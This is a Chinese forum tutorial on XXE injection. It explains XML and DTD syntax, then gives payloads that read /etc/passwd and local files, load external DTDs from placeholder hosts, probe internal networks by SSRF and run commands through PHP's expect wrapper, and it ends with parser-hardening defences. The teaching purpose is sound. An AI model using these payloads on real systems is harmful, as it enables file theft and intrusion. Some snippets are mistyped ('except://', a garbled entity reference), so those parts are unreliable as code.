用户
搜索

[web安全] XXE漏洞学习整理

  • TA的每日心情
    开心
    昨天 07:36
  • 签到天数: 101 天

    连续签到: 101 天

    [LV.6]常住居民II

    i春秋-见习白帽

    Rank: 3Rank: 3

    44

    主题

    91

    帖子

    2578

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2020-10-2
    发表于 2021-5-18 22:53:24 03497
    本帖最后由 Johnson666 于 2021-5-19 11:44 编辑

    1、XXE漏洞基本介绍

    XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
    2XML基础
    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。要学习XXE漏洞,需要对XML文档基础有一定的了解。

    2.1 XML文档结构
    QQ图片20210518224120.png

    跟HTML文档一样,XML文档的内容结构有一下几个部分构成:
    ·元素
    ·属性
    ·实体
    ·PCDATA
    ·CDATA


    2.2 XML内容结构解析
    ·元素
    元素是XML文档的主要构建模块,其中可以分为文本元素、其它元素。
    实例:
    [AppleScript] 纯文本查看 复制代码
    <book><message>some message in between</message></book>
    在上述实例中:<book>属于其它元素,因为<book>包含了<mseeage>元素,<mseeage>元素属于文本元素,因为<mseeage>只包含了文本内容。

    ·属性

    属性的作用是为元素提供额外信息
    实例:
    [AppleScript] 纯文本查看 复制代码
    <person **="female">
    在上述案例中,**作为属性为person元素添加了性别的信息。

    ·实体

    实体是用来定义普通文本的变量。实体引用是对实体的引用。

    ·PCDATA
    PCDATA 的意思是被解析的字符数据(parsed character data)。
    PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

    ·CDATA
    CDATA 的意思是字符数据(character data)。
    CDATA 是不会被解析器解析的文本。
    3、DTD(文档类型定义)基础
    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
    DTD可以在XML文档内声明,也可以外部引用。

    3.1 DTD声明


    ·DTD内部声明
    [AppleScript] 纯文本查看 复制代码
    <!DOCTYPE 根元素 [元素声明]> ex: <!DOCTYOE test [any]>

    实例:
    [AppleScript] 纯文本查看 复制代码
    <?xml version="1.0"?>
    
    <!DOCTYPE note SYSTEM "note.dtd"> //外部引入note.dtd文档
    
    <note>
    
    <to>George</to>
    
    <from>John</from>
    
    <heading>Reminder</heading>
    
    <body>Don't forget the meeting!</body>
    
    </note>
    
    //note.dtd文档内容
    
    <!ELEMENT note (to,from,heading,body)>
    
    <!ELEMENT to (#PCDATA)>
    
    <!ELEMENT from (#PCDATA)>
    
    <!ELEMENT heading (#PCDATA)>
    
    <!ELEMENT body (#PCDATA)>

    ·外部声明
    [AppleScript] 纯文本查看 复制代码
    <!DOCTYPE 根元素 SYSTEM "文件名"> ex:<!DOCTYPE test SYSTEM 'http://www.test.com/evil.dtd'>

    实例:
    [AppleScript] 纯文本查看 复制代码
    <?xml version="1.0"?>
    
    <!DOCTYPE note SYSTEM "note.dtd"> //外部引入note.dtd文档
    
    <note>
    
    <to>George</to>
    
    <from>John</from>
    
    <heading>Reminder</heading>
    
    <body>Don't forget the meeting!</body>
    
    </note> 
    
    //note.dtd文档内容
    
    <!ELEMENT note (to,from,heading,body)>
    
    <!ELEMENT to (#PCDATA)>
    
    <!ELEMENT from (#PCDATA)>
    
    <!ELEMENT heading (#PCDATA)>
    
    <!ELEMENT body (#PCDATA)>

    3.2DTD实体
    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
    实体又分为一般实体和参数实体
    (1)一般实体的声明语法:<!ENTITY 实体名 "实体内容“>
    引用实体的方式:&实体名;
    (2)参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容“>
    引用实体的方式:%实体名;

    ·内部实体声明:
    [AppleScript] 纯文本查看 复制代码
    <!ENTITY 实体名称 "实体的值"> ex:<!ENTITY eviltest "eviltest">
    实例:
    [AppleScript] 纯文本查看 复制代码
    <?xml version="1.0"?>
    
    <!DOCTYPE test [
    
    <!ENTITY writer "Bill Gates">
    
    <!ENTITY copyright "Copyright W3School.com.cn">
    
    ]>
    
    <test>&writer;©right;</test>

    ·外部实体声明:
    [AppleScript] 纯文本查看 复制代码
    <!ENTITY 实体名称 SYSTEM "URI">
    实例:
    [AppleScript] 纯文本查看 复制代码
    <?xml version="1.0"?>
    
    <!DOCTYPE test [
    
    <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    
    ]>
    
    <author>&writer;©right;</author>

    4XXE漏洞攻击与危害

    4.1XXE漏洞攻击
    XML外部实体注入(XML External Entity)简称XXE漏洞,XXE漏洞的攻击方式是利用XML构建外部实体进行注入。XXE漏洞利用的关键就是构造外部实体注入,接下来构造外部实体注入的方式:

    ·直接通过DTD外部实体声明
    [AppleScript] 纯文本查看 复制代码
    //XML内容
    
    <?xml version="1.0"?>
    
    <!DOCTYPE a [
    
    <!ENTITY b SYSTEM "file:///etc/passwd">
    
    ]>
    
    <c>&b;</c>

    ·通过DTD文档引入外部DTD文档,再引入外部实体声明
    [AppleScript] 纯文本查看 复制代码
    //XML内容
    
    <?xml version="1.0"?>
    
    <!DOCTYPE a [
    
    <!ENTITY b SYSTEM "http://xxx/b.dtd">
    
    ]>
    
    <c>&b;</c>
    
     
    
    //DTD文件内容
    
    <!ENTITY b SYSTEM "file:///etc/passwd">

    ·通过DTD外部实体声明引入外部实体声明
    [AppleScript] 纯文本查看 复制代码
    //XML内容
    
    <?xml version="1.0"?>
    
    <!DOCTYPE a [
    
    <!ENTITY %d SYSTEM "http://xxx/b.dtd">
    
        %d;
    
    ]>
    
    <c>&b;</c>
    
     
    
    //DTD文件内容
    
    <!ENTITY b SYSTEM "file:///etc/passwd">

    不同的程序支持的协议也不同,如下图
    QQ图片20210518225150.png

    4.2XXE漏洞利用
    ·任意文件读取
    [AppleScript] 纯文本查看 复制代码
    //paylaod读取D盘目录下1.txt文件内容
    
    <?xml version="1.0"?>
    
    <!DOCTYPE test [
    
    <!ENTITY xxe SYSTEM "file:///D:/1.txt">
    
    ]>
    
    <author>&xxe;</author>
    
     
    
    //D:/1.txt
    
    11nxx
    QQ图片20210518225153.png

    ·内网探测/SSRF

    由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
    [AppleScript] 纯文本查看 复制代码
    <?php
    
    $xml = <<<EOF
    
    <?xml version = "1.0"?>
    
    <!DOCTYPE ANY [
    
        <!ENTITY f SYSTEM "http://192.168.1.1:80/">
    
    ]>
    
    <x>&f;</x>
    
    EOF;
    
    $data = simplexml_load_string($xml);
    
    print_r($data);
    
    ?>

    ·系统命令执行

    php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

    [AppleScript] 纯文本查看 复制代码
    <?php
    
    $xml = <<<EOF
    
    <?xml version = "1.0"?>
    
    <!DOCTYPE ANY [
    
        <!ENTITY f SYSTEM "except://ls"> # id
    
    ]>
    
    <x>&f;</x>
    
    EOF;
    
    $data = simplexml_load_string($xml);
    
    print_r($data);
    
    ?>

    5XXE漏洞防护

    5.1使用开发语言提供的禁用外部实体的方法
    PHP:
    [AppleScript] 纯文本查看 复制代码
    libxml_disable_entity_loader(true);
    JAVA:
    [AppleScript] 纯文本查看 复制代码
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    
    dbf.setExpandEntityReferences(false);
    Python:
    [AppleScript] 纯文本查看 复制代码
    from lxml import etree
    
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    5.2过滤用户提交的XML数据

    关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。






    发新帖
    您需要登录后才可以回帖 登录 | 立即注册